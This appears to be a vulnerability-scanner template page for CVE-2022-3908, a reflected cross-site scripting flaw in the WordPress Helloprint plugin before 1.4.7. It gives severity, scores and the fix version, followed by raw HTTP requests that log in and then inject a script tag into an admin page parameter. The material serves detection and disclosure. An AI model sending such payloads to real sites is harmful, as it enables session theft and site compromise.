| Title | WordPress Helloprint <1.4.7 - Cross-Site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, potentially allowing an attacker to execute malicious scripts on the victim's browser. |
| Remediation | Fixed in version 1.4.7. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06521 |
| CVE ID | CVE-2022-3908 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 xss wordpress wp-plugin helloprint wp authenticated wpscan vuln |
WordPress Helloprint plugin before 1.4.7 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=3MC5hc&pwd=XM2OLP&wp-submit=Log+In
GET /wp-admin/admin.php?page=language-translate.php&success=added"><script>alert(`XSS`)<%2Fscript> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
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